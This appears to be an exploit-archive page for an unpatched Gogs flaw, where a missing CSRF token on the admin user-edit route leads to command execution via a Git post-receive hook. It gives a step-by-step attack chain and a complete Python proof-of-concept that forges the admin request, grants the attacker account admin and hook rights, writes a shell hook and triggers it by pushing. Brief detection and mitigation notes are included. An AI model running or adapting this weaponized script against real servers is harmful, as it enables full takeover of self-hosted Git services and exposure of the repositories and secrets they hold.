PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

Gogs Admin User Edit CSRF to Git Hook RCE

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
None assigned as of 2026-07-03
Category
web
Affected product
Gogs (self-hosted Git service)
Affected versions
0.15.0+dev (commit 5f51118ab513522462a54cef30599d7ddffcc55f)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categoryweb
SeverityCritical
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusWeaponized
Tagsgogs, csrf, git-hooks, privilege-escalation, rce, admin-takeover, git, self-hosted
RelatedN/A

Affected Target

FieldValue
Software / SystemGogs (self-hosted Git service)
Versions Affected0.15.0+dev (commit 5f51118ab513522462a54cef30599d7ddffcc55f)
Language / PlatformGo, classic server-rendered web routes, Git smart HTTP
Authentication RequiredYes — attacker needs a normal user account; requires a logged-in site administrator to submit the forged request
Network Access RequiredYes

Summary

Gogs’ admin user-edit route (POST /admin/users/:userid) performs the state-changing grant of IsAdmin/AllowGitHook without a CSRF token, so an authenticated site administrator can be induced (e.g., via a cross-site form submission) to grant those rights to an attacker-controlled account. Once the attacker account holds admin and Git-hook-edit rights, it can create a repository and write a post-receive hook through Gogs’ own hook-editor route; that hook then executes as an OS command during a normal git push to the repository. The researcher validated the complete chain end-to-end against a stock Gogs build, confirming the account mutation via the forged POST, the hook write, and command execution (captured via id/pwd output) triggered by a real Git push. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

templates/admin/user/edit.tmpl renders the admin user-edit form without a CSRF token field, and the corresponding POST /admin/users/:userid handler (admin.EditUserPost) processes Admin/AllowGitHook field mutations from that unsafe request without validating Origin/Referer or a CSRF token — allowing a cross-site forged request, riding an authenticated administrator’s session, to grant admin and Git-hook-edit rights to an arbitrary user id.

Attack Vector

  1. Attacker registers or controls a normal, non-privileged Gogs account.
  2. Attacker crafts a cross-site auto-submitting form targeting POST /admin/users/:userid for their own account id, setting admin=on and allow_git_hook=on.
  3. A logged-in site administrator visits the attacker’s page (or otherwise has the forged request delivered with their session cookie attached), which submits the form and mutates the attacker’s account to IsAdmin=true, AllowGitHook=true.
  4. Attacker creates a repository and writes a malicious post-receive hook through the stock /settings/hooks/git/post-receive route (now permitted due to AllowGitHook).
  5. Attacker performs a normal git push to the repository; Gogs executes custom_hooks/post-receive on the server, running the attacker’s command as the Gogs server process.

Impact

Full command execution as the Gogs server process, triggered by one CSRF-forged administrator request followed by a normal Git push — a complete privilege-escalation-to-RCE chain against a self-hosted Git server, which can also host CI/CD secrets and other repositories.


Environment / Lab Setup

Target:   Gogs 0.15.0+dev, SQLite backend, HTTP Git enabled
Attacker: Python 3.10+, git CLI, one site-admin session (or credentials) and one normal attacker account for local validation

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
4
5
6
python poc.py \
  --target-base http://127.0.0.1:38081 \
  --admin-user siteadmin --admin-password 'AdminPass123!' \
  --attacker-user attacker --attacker-password 'AttackerPass123!' \
  --attacker-id 2 --attacker-email attacker@example.test \
  --repo gogs-hook-proof --marker-path /tmp/gogs_hook_proof.txt --output proof.json

The script logs in as the site admin, submits the CSRF-vulnerable admin user-edit POST for the attacker account (with cross-site headers), confirms the attacker gained admin status, creates a repository, writes a post-receive hook, clones/commits/pushes over HTTP Git, and prints the resulting server-side marker to prove command execution.


Detection & Indicators of Compromise

Signs of compromise:

  • Server log lines such as Account updated by admin "<admin>": <user> for accounts that should not be admins
  • Newly admin-flagged accounts immediately editing repository Git hooks
  • TriggerTask log entries correlating with unexpected hook execution output on the host

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationRestore server-side CSRF token validation for all session-authenticated state-changing routes; validate Origin/Referer/Fetch Metadata on sensitive admin routes; require fresh confirmation for admin-rights and Git-hook-edit grants

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: gogs-admin-csrf-git-hook-rce-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
import argparse
import http.cookiejar
import json
import os
import pathlib
import secrets
import shlex
import ssl
import subprocess
import sys
import tempfile
import urllib.error
import urllib.parse
import urllib.request


class Client:
    def __init__(self, base_url, insecure):
        self.base_url = base_url.rstrip("/")
        self.cookiejar = http.cookiejar.CookieJar()
        handlers = [urllib.request.HTTPCookieProcessor(self.cookiejar)]
        if insecure:
            handlers.append(urllib.request.HTTPSHandler(context=ssl._create_unverified_context()))
        self.opener = urllib.request.build_opener(*handlers)

    def url(self, path):
        return self.base_url + "/" + path.lstrip("/")

    def request(self, method, path, body=None, headers=None):
        data = None
        final_headers = {}
        if headers:
            final_headers.update(headers)
        if isinstance(body, dict):
            data = urllib.parse.urlencode(body).encode()
            final_headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
        elif isinstance(body, bytes):
            data = body
        elif isinstance(body, str):
            data = body.encode()
        req = urllib.request.Request(self.url(path), data=data, headers=final_headers, method=method)
        try:
            with self.opener.open(req, timeout=30) as resp:
                return resp.status, resp.read(), resp.headers
        except urllib.error.HTTPError as exc:
            payload = exc.read()
            raise RuntimeError(f"{method} {path} returned HTTP {exc.code}: {payload[:500].decode(errors='replace')}") from exc

    def json_post(self, path, payload):
        body = json.dumps(payload, separators=(",", ":")).encode()
        status, data, headers = self.request("POST", path, body, {"Content-Type": "application/json"})
        if data:
            return status, json.loads(data.decode()), headers
        return status, None, headers

    def json_get(self, path):
        status, data, headers = self.request("GET", path)
        if data:
            return status, json.loads(data.decode()), headers
        return status, None, headers

    def login(self, username, password):
        status, data, headers = self.json_post("/api/web/user/sign-in", {
            "username": username,
            "password": password,
            "loginSource": 0,
        })
        return status, data, headers


def run(cmd, cwd=None):
    proc = subprocess.run(cmd, cwd=cwd, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if proc.returncode != 0:
        raise RuntimeError(f"command failed: {' '.join(cmd)}\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}")
    return proc


def git_url(base_url, username, password, owner, repo):
    parsed = urllib.parse.urlparse(base_url.rstrip("/"))
    userinfo = urllib.parse.quote(username, safe="") + ":" + urllib.parse.quote(password, safe="") + "@"
    path = parsed.path.rstrip("/") + f"/{urllib.parse.quote(owner)}/{urllib.parse.quote(repo)}.git"
    return urllib.parse.urlunparse((parsed.scheme, userinfo + parsed.netloc, path, "", "", ""))


def read_optional(path):
    if not path:
        return None
    p = pathlib.Path(path)
    if not p.exists():
        return None
    return p.read_text(errors="replace")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target-base", required=True)
    parser.add_argument("--admin-user")
    parser.add_argument("--admin-password")
    parser.add_argument("--admin-cookie")
    parser.add_argument("--attacker-user", required=True)
    parser.add_argument("--attacker-password", required=True)
    parser.add_argument("--attacker-id", required=True, type=int)
    parser.add_argument("--attacker-email", required=True)
    parser.add_argument("--owner")
    parser.add_argument("--repo")
    parser.add_argument("--marker-path")
    parser.add_argument("--local-marker")
    parser.add_argument("--origin", default="https://example.invalid")
    parser.add_argument("--work-dir")
    parser.add_argument("--output")
    parser.add_argument("--git", default="git")
    parser.add_argument("--insecure", action="store_true")
    parser.add_argument("--keep-work-dir", action="store_true")
    args = parser.parse_args()

    if not args.admin_cookie and not (args.admin_user and args.admin_password):
        raise SystemExit("provide --admin-cookie or --admin-user with --admin-password")

    owner = args.owner or args.attacker_user
    repo = args.repo or "gogs-hook-proof-" + secrets.token_hex(4)
    marker_path = args.marker_path or "/tmp/gogs_hook_proof_" + secrets.token_hex(4) + ".txt"

    admin = Client(args.target_base, args.insecure)
    if args.admin_user and args.admin_password:
        admin.login(args.admin_user, args.admin_password)

    admin_headers = {
        "Origin": args.origin,
        "Referer": args.origin.rstrip("/") + "/submit.html",
        "Sec-Fetch-Site": "cross-site",
        "Sec-Fetch-Mode": "navigate",
    }
    if args.admin_cookie:
        admin_headers["Cookie"] = args.admin_cookie

    admin.request("POST", f"/admin/users/{args.attacker_id}", {
        "login_type": "0-0",
        "email": args.attacker_email,
        "max_repo_creation": "-1",
        "active": "on",
        "admin": "on",
        "allow_git_hook": "on",
    }, admin_headers)

    attacker = Client(args.target_base, args.insecure)
    attacker.login(args.attacker_user, args.attacker_password)
    _, attacker_info, _ = attacker.json_get("/api/web/user/info")
    if not attacker_info or not attacker_info.get("isAdmin"):
        raise RuntimeError("attacker account did not become site admin")

    attacker.request("POST", "/repo/create", {
        "user_id": str(args.attacker_id),
        "repo_name": repo,
        "description": "git hook proof",
        "auto_init": "on",
        "readme": "Default",
        "gitignores": "",
        "license": "",
    })

    hook_content = "\n".join([
        "#!/bin/sh",
        "id > " + shlex.quote(marker_path),
        "pwd >> " + shlex.quote(marker_path),
        "",
    ])
    attacker.request("POST", f"/{owner}/{repo}/settings/hooks/git/post-receive", {
        "content": hook_content,
    })

    repo_url = git_url(args.target_base, args.attacker_user, args.attacker_password, owner, repo)
    cleanup = args.work_dir is None
    work_root = args.work_dir or tempfile.mkdtemp(prefix="gogs-hook-proof-")
    pathlib.Path(work_root).mkdir(parents=True, exist_ok=True)
    clone_dir = os.path.join(work_root, "repo")

    run([args.git, "clone", repo_url, clone_dir])
    run([args.git, "config", "user.name", "Gogs Hook Proof"], clone_dir)
    run([args.git, "config", "user.email", "proof@example.test"], clone_dir)
    pathlib.Path(clone_dir, "proof.txt").write_text("trigger\n")
    run([args.git, "add", "proof.txt"], clone_dir)
    run([args.git, "commit", "-m", "Trigger post receive hook"], clone_dir)
    push = run([args.git, "push", "origin", "master"], clone_dir)

    local_marker = read_optional(args.local_marker)
    if args.local_marker and local_marker is None:
        raise RuntimeError("local marker was not created")
    result = {
        "targetBase": args.target_base.rstrip("/"),
        "attackerUser": args.attacker_user,
        "attackerId": args.attacker_id,
        "attackerInfo": attacker_info,
        "repository": f"{owner}/{repo}",
        "markerPath": marker_path,
        "localMarker": local_marker,
        "pushStdout": push.stdout,
        "pushStderr": push.stderr,
    }

    encoded = json.dumps(result, indent=2)
    print(encoded)
    if args.output:
        pathlib.Path(args.output).write_text(encoded + "\n")

    if cleanup and not args.keep_work_dir:
        import shutil
        shutil.rmtree(work_root, ignore_errors=True)


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(str(exc), file=sys.stderr)
        sys.exit(1)